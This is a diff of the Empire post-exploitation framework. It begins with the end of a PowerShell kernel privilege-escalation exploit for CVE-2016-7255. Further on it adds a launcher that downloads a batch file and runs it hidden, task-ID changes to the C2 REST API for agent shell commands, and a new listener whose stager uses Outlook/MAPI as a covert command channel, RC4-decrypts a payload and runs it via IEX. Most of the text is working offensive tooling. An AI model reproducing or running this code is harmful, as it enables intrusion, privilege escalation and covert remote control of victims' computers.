||||||
|
$tagMSG = New-Object tagMSG
|
||||||
|
if ($([ms16135]::GetMessage([ref]$tagMSG,[IntPtr]::Zero,0,0))) {
|
||||||
|
$CallResult = [ms16135]::SetFocus($hWndParent) #
|
||||||
|
for ($i=0;$i-lt20;$i++){Do-AltShiftEsc} #
|
||||||
|
$CallResult = [ms16135]::SetFocus($hWndChild) # Bug triggers here!
|
||||||
|
for ($i=0;$i-lt20;$i++){Do-AltShiftEsc} #
|
||||||
|
$CallResult = [ms16135]::TranslateMessage([ref]$tagMSG)
|
||||||
|
$CallResult = [ms16135]::DispatchMessage([ref]$tagMSG)
|
||||||
|
}
|
||||||
|
} $SafeGuard.Stop()
|
||||||
|
}
|
||||||
|
[IntPtr]$Global:BytePointer = [ms16135]::VirtualAlloc([System.IntPtr]::Zero, 0x2000, 0x3000, 0x40)
|
||||||
|
do {
|
||||||
|
Write-Verbose "[+] Trying to trigger arbitrary 'Or'.."
|
||||||
|
$ByteRead = [ms16135]::GetBitmapBits($WorkerBitmap.BitmapHandle,0x2000,$BytePointer)
|
||||||
|
Trigger-Write
|
||||||
|
$LoopCount += 1
|
||||||
|
} while ($ByteRead -ne 0x2000 -And $LoopCount -lt 10)
|
||||||
|
|
||||||
|
$CallResult = [ms16135]::DestroyWindow($hWndChild)
|
||||||
|
$CallResult = [ms16135]::DestroyWindow($hWndParent)
|
||||||
|
$CallResult = [ms16135]::UnregisterClass("cve-2016-7255",[IntPtr]::Zero)
|
||||||
|
|
||||||
|
if ($LoopCount -eq 10) {
|
||||||
|
"`n[!] Bug did not trigger, try again or patched?`n"
|
||||||
|
$Script:BugNotTriggered = 1
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Do-OrAddress -Address $TargetAddress
|
||||||
|
if ($BugNotTriggered) {
|
||||||
|
Return
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($OSMajorMinor -eq "6.1") {
|
||||||
|
$SizeVal = 0x400000770
|
||||||
|
} else {
|
||||||
|
$SizeVal = 0x400000760
|
||||||
|
}
|
||||||
|
do {
|
||||||
|
$Read64 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $LoopCount)
|
||||||
|
if ($Read64 -eq $SizeVal) {
|
||||||
|
$Pointer1 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $LoopCount + 16)
|
||||||
|
$Pointer2 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $LoopCount + 24)
|
||||||
|
if ($Pointer1 -eq $Pointer2) {
|
||||||
|
$BufferOffset = $LoopCount + 16
|
||||||
|
Break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$LoopCount += 8
|
||||||
|
} while ($LoopCount -lt 0x2000)
|
||||||
|
$pvBits = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $BufferOffset)
|
||||||
|
$pvScan0 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $BufferOffset + 8)
|
||||||
|
|
||||||
|
if ($pvScan0 -ne 0) {
|
||||||
|
Write-Verbose "`n[?] Success, reading beyond worker bitmap size!"
|
||||||
|
Write-Verbose "[+] Old manager bitmap pvScan0: $('{0:X}' -f $pvScan0)"
|
||||||
|
} else {
|
||||||
|
"`n[!] Buffer contains invalid data, quitting..`n"
|
||||||
|
Return
|
||||||
|
}
|
||||||
|
|
||||||
|
[System.Runtime.InteropServices.Marshal]::WriteInt64($($BytePointer.ToInt64() + $BufferOffset),$WorkerBitmap.BitmappvScan0)
|
||||||
|
[System.Runtime.InteropServices.Marshal]::WriteInt64($($BytePointer.ToInt64() + $BufferOffset + 8),$WorkerBitmap.BitmappvScan0)
|
||||||
|
$pvScan0 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $BufferOffset + 8)
|
||||||
|
Write-Verbose "[+] New manager bitmap pvScan0: $('{0:X}' -f $pvScan0)"
|
||||||
|
|
||||||
|
$CallResult = [ms16135]::SetBitmapBits($WorkerBitmap.BitmapHandle,0x2000,$BytePointer)
|
||||||
|
|
||||||
|
Bitmap-Elevate -ManagerBitmap $ManagerBitmap.BitmapHandle -WorkerBitmap $WorkerBitmap.BitmapHandle
|
||||||
|
}
|
File diff suppressed because it is too large
Load Diff
22
empire
22
empire
|
@ -500,21 +500,21 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
|
||||||
|
|
||||||
for agent in main.agents.get_agents():
|
for agent in main.agents.get_agents():
|
||||||
sessionID = agent[1]
|
sessionID = agent[1]
|
||||||
main.agents.add_agent_task_db(sessionID, taskCommand, moduleData)
|
taskID = main.agents.add_agent_task_db(sessionID, taskCommand, moduleData)
|
||||||
msg = "tasked agent %s to run module %s" %(sessionID, module_name)
|
msg = "tasked agent %s to run module %s" %(sessionID, module_name)
|
||||||
main.agents.save_agent_log(sessionID, msg)
|
main.agents.save_agent_log(sessionID, msg)
|
||||||
|
|
||||||
msg = "tasked all agents to run module %s" %(module_name)
|
msg = "tasked all agents to run module %s" %(module_name)
|
||||||
return jsonify({'success': True, 'msg':msg})
|
return jsonify({'success': True, 'taskID': taskID, 'msg':msg})
|
||||||
|
|
||||||
else:
|
else:
|
||||||
# set the agent's tasking in the cache
|
# set the agent's tasking in the cache
|
||||||
main.agents.add_agent_task_db(sessionID, taskCommand, moduleData)
|
taskID = main.agents.add_agent_task_db(sessionID, taskCommand, moduleData)
|
||||||
|
|
||||||
# update the agent log
|
# update the agent log
|
||||||
msg = "tasked agent %s to run module %s" %(sessionID, module_name)
|
msg = "tasked agent %s to run module %s" %(sessionID, module_name)
|
||||||
main.agents.save_agent_log(sessionID, msg)
|
main.agents.save_agent_log(sessionID, msg)
|
||||||
return jsonify({'success': True, 'msg':msg})
|
return jsonify({'success': True, 'taskID': taskID, 'msg':msg})
|
||||||
|
|
||||||
|
|
||||||
@app.route('/api/modules/search', methods=['POST'])
|
@app.route('/api/modules/search', methods=['POST'])
|
||||||
|
@ -865,11 +865,12 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
|
||||||
for agentNameID in agentNameIDs:
|
for agentNameID in agentNameIDs:
|
||||||
[agentName, agentSessionID] = agentNameID
|
[agentName, agentSessionID] = agentNameID
|
||||||
|
|
||||||
agentResults = execute_db_query(conn, 'SELECT agent, data FROM results WHERE agent=?', [agentSessionID])
|
agentResults = execute_db_query(conn, 'SELECT id, agent, data FROM results WHERE agent=?', [agentSessionID])
|
||||||
|
|
||||||
for result in agentResults:
|
for result in agentResults:
|
||||||
[agent, data] = result
|
[resultid, agent, data] = result
|
||||||
agentTaskResults.append({"agentname":result[0], "results":result[1]})
|
|
||||||
|
agentTaskResults.append({"taskID": result[0], "agentname": result[1], "results": result[2]})
|
||||||
|
|
||||||
return jsonify({'results': agentTaskResults})
|
return jsonify({'results': agentTaskResults})
|
||||||
|
|
||||||
|
@ -959,10 +960,9 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
|
||||||
# add task command to agent taskings
|
# add task command to agent taskings
|
||||||
msg = "tasked agent %s to run command %s" %(agentSessionID, command)
|
msg = "tasked agent %s to run command %s" %(agentSessionID, command)
|
||||||
main.agents.save_agent_log(agentSessionID, msg)
|
main.agents.save_agent_log(agentSessionID, msg)
|
||||||
main.agents.add_agent_task_db(agentSessionID, "TASK_SHELL", command)
|
taskID = main.agents.add_agent_task_db(agentSessionID, "TASK_SHELL", command)
|
||||||
|
|
||||||
return jsonify({'success': True})
|
|
||||||
|
|
||||||
|
return jsonify({'success': True, 'taskID': taskID})
|
||||||
|
|
||||||
@app.route('/api/agents/<string:agent_name>/rename', methods=['POST'])
|
@app.route('/api/agents/<string:agent_name>/rename', methods=['POST'])
|
||||||
def task_agent_rename(agent_name):
|
def task_agent_rename(agent_name):
|
||||||
|
@ -1238,7 +1238,7 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
|
||||||
signal.signal(signal.SIGINT, signal_handler)
|
signal.signal(signal.SIGINT, signal_handler)
|
||||||
|
|
||||||
# wrap the Flask connection in SSL and start it
|
# wrap the Flask connection in SSL and start it
|
||||||
context = ('./data/empire.pem', './data/empire.pem')
|
context = ('./data/empire-chain.pem', './data/empire-priv.key')
|
||||||
app.run(host='0.0.0.0', port=int(port), ssl_context=context, threaded=True)
|
app.run(host='0.0.0.0', port=int(port), ssl_context=context, threaded=True)
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -1041,14 +1041,14 @@ class Agents:
|
||||||
if pk is None:
|
if pk is None:
|
||||||
pk = 0
|
pk = 0
|
||||||
pk = (pk + 1) % 65536
|
pk = (pk + 1) % 65536
|
||||||
taskID = cur.execute("INSERT INTO taskings (id, agent, data) VALUES(?, ?, ?)", [pk, sessionID, task[:100]]).lastrowid
|
cur.execute("INSERT INTO taskings (id, agent, data) VALUES(?, ?, ?)", [pk, sessionID, task[:100]])
|
||||||
|
|
||||||
# append our new json-ified task and update the backend
|
# append our new json-ified task and update the backend
|
||||||
agent_tasks.append([taskName, task, taskID])
|
agent_tasks.append([taskName, task, pk])
|
||||||
cur.execute("UPDATE agents SET taskings=? WHERE session_id=?", [json.dumps(agent_tasks), sessionID])
|
cur.execute("UPDATE agents SET taskings=? WHERE session_id=?", [json.dumps(agent_tasks), sessionID])
|
||||||
|
|
||||||
# report the agent tasking in the reporting database
|
# report the agent tasking in the reporting database
|
||||||
cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp,taskID) VALUES (?,?,?,?,?)", (sessionID, "task", taskName + " - " + task[0:50], helpers.get_datetime(), taskID))
|
cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp,taskID) VALUES (?,?,?,?,?)", (sessionID, "task", taskName + " - " + task[0:50], helpers.get_datetime(), pk))
|
||||||
|
|
||||||
cur.close()
|
cur.close()
|
||||||
|
|
||||||
|
@ -1058,7 +1058,7 @@ class Agents:
|
||||||
f.write(task)
|
f.write(task)
|
||||||
f.close()
|
f.close()
|
||||||
|
|
||||||
return taskID
|
return pk
|
||||||
|
|
||||||
finally:
|
finally:
|
||||||
self.lock.release()
|
self.lock.release()
|
||||||
|
|
|
@ -75,6 +75,14 @@ class Stagers:
|
||||||
if stagerOption == option:
|
if stagerOption == option:
|
||||||
stager.options[option]['Value'] = str(value)
|
stager.options[option]['Value'] = str(value)
|
||||||
|
|
||||||
|
def generate_launcher_fetcher(self, language=None, encode=True, webFile='http://127.0.0.1/launcher.bat', launcher='powershell -noP -sta -w 1 -enc '):
|
||||||
|
#TODO add handle for other than powershell language
|
||||||
|
stager = 'wget "' + webFile + '" -outfile "launcher.bat"; Start-Process -FilePath .\launcher.bat -Wait -passthru -WindowStyle Hidden;'
|
||||||
|
if encode:
|
||||||
|
return helpers.powershell_launcher(stager, launcher)
|
||||||
|
else:
|
||||||
|
return stager
|
||||||
|
|
||||||
|
|
||||||
def generate_launcher(self, listenerName, language=None, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', safeChecks='true'):
|
def generate_launcher(self, listenerName, language=None, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', safeChecks='true'):
|
||||||
"""
|
"""
|
||||||
|
|
|
@ -845,7 +845,8 @@ def send_message(packets=None):
|
||||||
host = listenerOptions['Host']['Value']
|
host = listenerOptions['Host']['Value']
|
||||||
if certPath.strip() != '' and host.startswith('https'):
|
if certPath.strip() != '' and host.startswith('https'):
|
||||||
certPath = os.path.abspath(certPath)
|
certPath = os.path.abspath(certPath)
|
||||||
app.run(host=bindIP, port=int(port), threaded=True, ssl_context=(certPath,certPath))
|
context = ("%s/empire-chain.pem" % (certPath), "%s/empire-priv.key" % (certPath))
|
||||||
|
app.run(host=bindIP, port=int(port), threaded=True, ssl_context=context)
|
||||||
else:
|
else:
|
||||||
app.run(host=bindIP, port=int(port), threaded=True)
|
app.run(host=bindIP, port=int(port), threaded=True)
|
||||||
|
|
||||||
|
|
|
@ -598,7 +598,8 @@ class Listener:
|
||||||
certPath = listenerOptions['CertPath']['Value']
|
certPath = listenerOptions['CertPath']['Value']
|
||||||
host = listenerOptions['Host']['Value']
|
host = listenerOptions['Host']['Value']
|
||||||
if certPath.strip() != '' and host.startswith('https'):
|
if certPath.strip() != '' and host.startswith('https'):
|
||||||
context = ("%s/data/empire.pem" % (self.mainMenu.installPath), "%s/data/empire.pem" % (self.mainMenu.installPath))
|
certPath = os.path.abspath(certPath)
|
||||||
|
context = ("%s/empire-chain.pem" % (certPath), "%s/empire-priv.key" % (certPath))
|
||||||
app.run(host=bindIP, port=int(port), threaded=True, ssl_context=context)
|
app.run(host=bindIP, port=int(port), threaded=True, ssl_context=context)
|
||||||
else:
|
else:
|
||||||
app.run(host=bindIP, port=int(port), threaded=True)
|
app.run(host=bindIP, port=int(port), threaded=True)
|
||||||
|
|
|
@ -0,0 +1,626 @@
|
||||||
|
import logging
|
||||||
|
import base64
|
||||||
|
import random
|
||||||
|
import os
|
||||||
|
import time
|
||||||
|
import copy
|
||||||
|
from pydispatch import dispatcher
|
||||||
|
from flask import Flask, request, make_response
|
||||||
|
|
||||||
|
# Empire imports
|
||||||
|
from lib.common import helpers
|
||||||
|
from lib.common import agents
|
||||||
|
from lib.common import encryption
|
||||||
|
from lib.common import packets
|
||||||
|
from lib.common import messages
|
||||||
|
|
||||||
|
|
||||||
|
class Listener:
|
||||||
|
|
||||||
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
|
||||||
|
self.info = {
|
||||||
|
'Name': 'HTTP[S] + MAPI',
|
||||||
|
|
||||||
|
'Author': ['@harmj0y','@_staaldraad'],
|
||||||
|
|
||||||
|
'Description': ('Starts a http[s] listener (PowerShell) which can be used with Liniaal for C2 through Exchange'),
|
||||||
|
|
||||||
|
'Category' : ('client_server'),
|
||||||
|
|
||||||
|
'Comments': ['This requires the Liniaal agent to translate messages from MAPI to HTTP. More info: https://github.com/sensepost/liniaal']
|
||||||
|
}
|
||||||
|
|
||||||
|
# any options needed by the stager, settable during runtime
|
||||||
|
self.options = {
|
||||||
|
# format:
|
||||||
|
# value_name : {description, required, default_value}
|
||||||
|
|
||||||
|
'Name' : {
|
||||||
|
'Description' : 'Name for the listener.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 'mapi'
|
||||||
|
},
|
||||||
|
'Host' : {
|
||||||
|
'Description' : 'Hostname/IP for staging.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : "http://%s:%s" % (helpers.lhost(), 80)
|
||||||
|
},
|
||||||
|
'BindIP' : {
|
||||||
|
'Description' : 'The IP to bind to on the control server.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : '0.0.0.0'
|
||||||
|
},
|
||||||
|
'Port' : {
|
||||||
|
'Description' : 'Port for the listener.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 80
|
||||||
|
},
|
||||||
|
'StagingKey' : {
|
||||||
|
'Description' : 'Staging key for initial agent negotiation.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : '2c103f2c4ed1e59c0b4e2e01821770fa'
|
||||||
|
},
|
||||||
|
'DefaultDelay' : {
|
||||||
|
'Description' : 'Agent delay/reach back interval (in seconds).',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 0
|
||||||
|
},
|
||||||
|
'DefaultJitter' : {
|
||||||
|
'Description' : 'Jitter in agent reachback interval (0.0-1.0).',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 0.0
|
||||||
|
},
|
||||||
|
'DefaultLostLimit' : {
|
||||||
|
'Description' : 'Number of missed checkins before exiting',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 60
|
||||||
|
},
|
||||||
|
'DefaultProfile' : {
|
||||||
|
'Description' : 'Default communication profile for the agent.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
|
||||||
|
},
|
||||||
|
'CertPath' : {
|
||||||
|
'Description' : 'Certificate path for https listeners.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'KillDate' : {
|
||||||
|
'Description' : 'Date for the listener to exit (MM/dd/yyyy).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'WorkingHours' : {
|
||||||
|
'Description' : 'Hours for the agent to operate (09:00-17:00).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'ServerVersion' : {
|
||||||
|
'Description' : 'TServer header for the control server.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 'Microsoft-IIS/7.5'
|
||||||
|
},
|
||||||
|
'Folder' : {
|
||||||
|
'Description' : 'The hidden folder in Exchange to user',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 'Liniaal'
|
||||||
|
},
|
||||||
|
'Email' : {
|
||||||
|
'Description' : 'The email address of our target',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# required:
|
||||||
|
self.mainMenu = mainMenu
|
||||||
|
self.threads = {}
|
||||||
|
|
||||||
|
# optional/specific for this module
|
||||||
|
self.app = None
|
||||||
|
self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')]
|
||||||
|
|
||||||
|
# set the default staging key to the controller db default
|
||||||
|
self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0])
|
||||||
|
|
||||||
|
|
||||||
|
def default_response(self):
|
||||||
|
"""
|
||||||
|
Returns a default HTTP server page.
|
||||||
|
"""
|
||||||
|
page = "<html><body><h1>It works!</h1>"
|
||||||
|
page += "<p>This is the default web page for this server.</p>"
|
||||||
|
page += "<p>The web server software is running but no content has been added, yet.</p>"
|
||||||
|
page += "</body></html>"
|
||||||
|
return page
|
||||||
|
|
||||||
|
|
||||||
|
def validate_options(self):
|
||||||
|
"""
|
||||||
|
Validate all options for this listener.
|
||||||
|
"""
|
||||||
|
|
||||||
|
self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')]
|
||||||
|
|
||||||
|
for key in self.options:
|
||||||
|
if self.options[key]['Required'] and (str(self.options[key]['Value']).strip() == ''):
|
||||||
|
print helpers.color("[!] Option \"%s\" is required." % (key))
|
||||||
|
return False
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
|
def generate_launcher(self, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None):
|
||||||
|
"""
|
||||||
|
Generate a basic launcher for the specified listener.
|
||||||
|
"""
|
||||||
|
|
||||||
|
if not language:
|
||||||
|
print helpers.color('[!] listeners/http generate_launcher(): no language specified!')
|
||||||
|
|
||||||
|
if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners):
|
||||||
|
|
||||||
|
# extract the set options for this instantiated listener
|
||||||
|
listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options']
|
||||||
|
host = listenerOptions['Host']['Value']
|
||||||
|
stagingKey = listenerOptions['StagingKey']['Value']
|
||||||
|
profile = listenerOptions['DefaultProfile']['Value']
|
||||||
|
uris = [a for a in profile.split('|')[0].split(',')]
|
||||||
|
stage0 = random.choice(uris)
|
||||||
|
|
||||||
|
if language.startswith('po'):
|
||||||
|
# PowerShell
|
||||||
|
|
||||||
|
stager = ''
|
||||||
|
if safeChecks.lower() == 'true':
|
||||||
|
# @mattifestation's AMSI bypass
|
||||||
|
stager = helpers.randomize_capitalization('Add-Type -assembly "Microsoft.Office.Interop.Outlook";')
|
||||||
|
stager += "$outlook = New-Object -comobject Outlook.Application;"
|
||||||
|
stager += helpers.randomize_capitalization('$mapi = $Outlook.GetNameSpace("')
|
||||||
|
stager += 'MAPI");'
|
||||||
|
if listenerOptions['Email']['Value'] != '':
|
||||||
|
stager += '$fld = $outlook.Session.Folders | Where-Object {$_.Name -eq "'+listenerOptions['Email']['Value']+'"} | %{$_.Folders.Item(2).Folders.Item("'+listenerOptions['Folder']['Value']+'")};'
|
||||||
|
stager += '$fldel = $outlook.Session.Folders | Where-Object {$_.Name -eq "'+listenerOptions['Email']['Value']+'"} | %{$_.Folders.Item(3)};'
|
||||||
|
else:
|
||||||
|
stager += '$fld = $outlook.Session.GetDefaultFolder(6).Folders.Item("'+listenerOptions['Folder']['Value']+'");'
|
||||||
|
stager += '$fldel = $outlook.Session.GetDefaultFolder(3);'
|
||||||
|
# clear out all existing mails/messages
|
||||||
|
|
||||||
|
stager += helpers.randomize_capitalization("while(($fld.Items | measure | %{$_.Count}) -gt 0 ){ $fld.Items | %{$_.delete()};}")
|
||||||
|
# code to turn the key string into a byte array
|
||||||
|
stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
|
||||||
|
stager += "'%s');" % (stagingKey)
|
||||||
|
|
||||||
|
# this is the minimized RC4 stager code from rc4.ps1
|
||||||
|
stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};')
|
||||||
|
|
||||||
|
# prebuild the request routing packet for the launcher
|
||||||
|
routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='')
|
||||||
|
b64RoutingPacket = base64.b64encode(routingPacket)
|
||||||
|
|
||||||
|
# add the RC4 packet to a cookie
|
||||||
|
stager += helpers.randomize_capitalization('$mail = $outlook.CreateItem(0);$mail.Subject = "')
|
||||||
|
stager += 'mailpireout";'
|
||||||
|
stager += helpers.randomize_capitalization('$mail.Body = ')
|
||||||
|
stager += '"STAGE - %s"' % b64RoutingPacket
|
||||||
|
stager += helpers.randomize_capitalization(';$mail.save() | out-null;')
|
||||||
|
stager += helpers.randomize_capitalization('$mail.Move($fld)| out-null;')
|
||||||
|
stager += helpers.randomize_capitalization('$break = $False; $data = "";')
|
||||||
|
stager += helpers.randomize_capitalization("While ($break -ne $True){")
|
||||||
|
stager += helpers.randomize_capitalization('$fld.Items | Where-Object {$_.Subject -eq "mailpirein"} | %{$_.HTMLBody | out-null} ;')
|
||||||
|
stager += helpers.randomize_capitalization('$fld.Items | Where-Object {$_.Subject -eq "mailpirein" -and $_.DownloadState -eq 1} | %{$break=$True; $data=[System.Convert]::FromBase64String($_.Body);$_.Delete();};}')
|
||||||
|
|
||||||
|
stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];")
|
||||||
|
|
||||||
|
# decode everything and kick it over to IEX to kick off execution
|
||||||
|
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
|
||||||
|
|
||||||
|
# base64 encode the stager and return it
|
||||||
|
if encode:
|
||||||
|
return helpers.powershell_launcher(stager)
|
||||||
|
else:
|
||||||
|
# otherwise return the case-randomized stager
|
||||||
|
return stager
|
||||||
|
else:
|
||||||
|
print helpers.color("[!] listeners/http_mapi generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module.")
|
||||||
|
|
||||||
|
else:
|
||||||
|
print helpers.color("[!] listeners/http_mapi generate_launcher(): invalid listener name specification!")
|
||||||
|
|
||||||
|
|
||||||
|
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language="powershell"):
|
||||||
|
"""
|
||||||
|
Generate the stager code needed for communications with this listener.
|
||||||
|
"""
|
||||||
|
|
||||||
|
#if not language:
|
||||||
|
# print helpers.color('[!] listeners/http_mapi generate_stager(): no language specified!')
|
||||||
|
# return None
|
||||||
|
|
||||||
|
profile = listenerOptions['DefaultProfile']['Value']
|
||||||
|
uris = [a.strip('/') for a in profile.split('|')[0].split(',')]
|
||||||
|
stagingKey = listenerOptions['StagingKey']['Value']
|
||||||
|
host = listenerOptions['Host']['Value']
|
||||||
|
folder = listenerOptions['Folder']['Value']
|
||||||
|
|
||||||
|
if language.lower() == 'powershell':
|
||||||
|
|
||||||
|
# read in the stager base
|
||||||
|
f = open("%s/data/agent/stagers/http_mapi.ps1" % (self.mainMenu.installPath))
|
||||||
|
stager = f.read()
|
||||||
|
f.close()
|
||||||
|
|
||||||
|
# make sure the server ends with "/"
|
||||||
|
if not host.endswith("/"):
|
||||||
|
host += "/"
|
||||||
|
|
||||||
|
# patch the server and key information
|
||||||
|
stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
|
||||||
|
stager = stager.replace('REPLACE_FOLDER', folder)
|
||||||
|
|
||||||
|
randomizedStager = ''
|
||||||
|
|
||||||
|
for line in stager.split("\n"):
|
||||||
|
line = line.strip()
|
||||||
|
# skip commented line
|
||||||
|
if not line.startswith("#"):
|
||||||
|
# randomize capitalization of lines without quoted strings
|
||||||
|
if "\"" not in line:
|
||||||
|
randomizedStager += helpers.randomize_capitalization(line)
|
||||||
|
else:
|
||||||
|
randomizedStager += line
|
||||||
|
|
||||||
|
# base64 encode the stager and return it
|
||||||
|
if encode:
|
||||||
|
return helpers.enc_powershell(randomizedStager)
|
||||||
|
elif encrypt:
|
||||||
|
RC4IV = os.urandom(4)
|
||||||
|
return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager)
|
||||||
|
else:
|
||||||
|
# otherwise just return the case-randomized stager
|
||||||
|
return randomizedStager
|
||||||
|
else:
|
||||||
|
print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' is currently supported for this module.")
|
||||||
|
|
||||||
|
|
||||||
|
def generate_agent(self, listenerOptions, language=None):
|
||||||
|
"""
|
||||||
|
Generate the full agent code needed for communications with this listener.
|
||||||
|
"""
|
||||||
|
|
||||||
|
if not language:
|
||||||
|
print helpers.color('[!] listeners/http_mapi generate_agent(): no language specified!')
|
||||||
|
return None
|
||||||
|
|
||||||
|
language = language.lower()
|
||||||
|
delay = listenerOptions['DefaultDelay']['Value']
|
||||||
|
jitter = listenerOptions['DefaultJitter']['Value']
|
||||||
|
profile = listenerOptions['DefaultProfile']['Value']
|
||||||
|
lostLimit = listenerOptions['DefaultLostLimit']['Value']
|
||||||
|
killDate = listenerOptions['KillDate']['Value']
|
||||||
|
workingHours = listenerOptions['WorkingHours']['Value']
|
||||||
|
folder = listenerOptions['Folder']['Value']
|
||||||
|
b64DefaultResponse = base64.b64encode(self.default_response())
|
||||||
|
|
||||||
|
if language == 'powershell':
|
||||||
|
|
||||||
|
f = open(self.mainMenu.installPath + "./data/agent/agent.ps1")
|
||||||
|
code = f.read()
|
||||||
|
f.close()
|
||||||
|
|
||||||
|
# patch in the comms methods
|
||||||
|
commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language)
|
||||||
|
commsCode = commsCode.replace('REPLACE_FOLDER',folder)
|
||||||
|
code = code.replace('REPLACE_COMMS', commsCode)
|
||||||
|
|
||||||
|
# strip out comments and blank lines
|
||||||
|
code = helpers.strip_powershell_comments(code)
|
||||||
|
|
||||||
|
# patch in the delay, jitter, lost limit, and comms profile
|
||||||
|
code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay))
|
||||||
|
code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter))
|
||||||
|
code = code.replace('$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"")
|
||||||
|
code = code.replace('$LostLimit = 60', "$LostLimit = " + str(lostLimit))
|
||||||
|
code = code.replace('$DefaultResponse = ""', '$DefaultResponse = "'+str(b64DefaultResponse)+'"')
|
||||||
|
|
||||||
|
# patch in the killDate and workingHours if they're specified
|
||||||
|
if killDate != "":
|
||||||
|
code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',")
|
||||||
|
if workingHours != "":
|
||||||
|
code = code.replace('$WorkingHours,', "$WorkingHours = '" + str(workingHours) + "',")
|
||||||
|
|
||||||
|
return code
|
||||||
|
else:
|
||||||
|
print helpers.color("[!] listeners/http_mapi generate_agent(): invalid language specification, only 'powershell' is currently supported for this module.")
|
||||||
|
|
||||||
|
|
||||||
|
def generate_comms(self, listenerOptions, language=None):
|
||||||
|
"""
|
||||||
|
Generate just the agent communication code block needed for communications with this listener.
|
||||||
|
|
||||||
|
This is so agents can easily be dynamically updated for the new listener.
|
||||||
|
"""
|
||||||
|
|
||||||
|
if language:
|
||||||
|
if language.lower() == 'powershell':
|
||||||
|
|
||||||
|
updateServers = """
|
||||||
|
$Script:ControlServers = @("%s");
|
||||||
|
$Script:ServerIndex = 0;
|
||||||
|
""" % (listenerOptions['Host']['Value'])
|
||||||
|
|
||||||
|
getTask = """
|
||||||
|
function script:Get-Task {
|
||||||
|
try {
|
||||||
|
# meta 'TASKING_REQUEST' : 4
|
||||||
|
$RoutingPacket = New-RoutingPacket -EncData $Null -Meta 4;
|
||||||
|
$RoutingCookie = [Convert]::ToBase64String($RoutingPacket);
|
||||||
|
|
||||||
|
# choose a random valid URI for checkin
|
||||||
|
$taskURI = $script:TaskURIs | Get-Random;
|
||||||
|
|
||||||
|
$mail = $outlook.CreateItem(0);
|
||||||
|
$mail.Subject = "mailpireout";
|
||||||
|
$mail.Body = "GET - "+$RoutingCookie+" - "+$taskURI;
|
||||||
|
$mail.save() | out-null;
|
||||||
|
$mail.Move($fld)| out-null;
|
||||||
|
|
||||||
|
# keep checking to see if there is response
|
||||||
|
$break = $False;
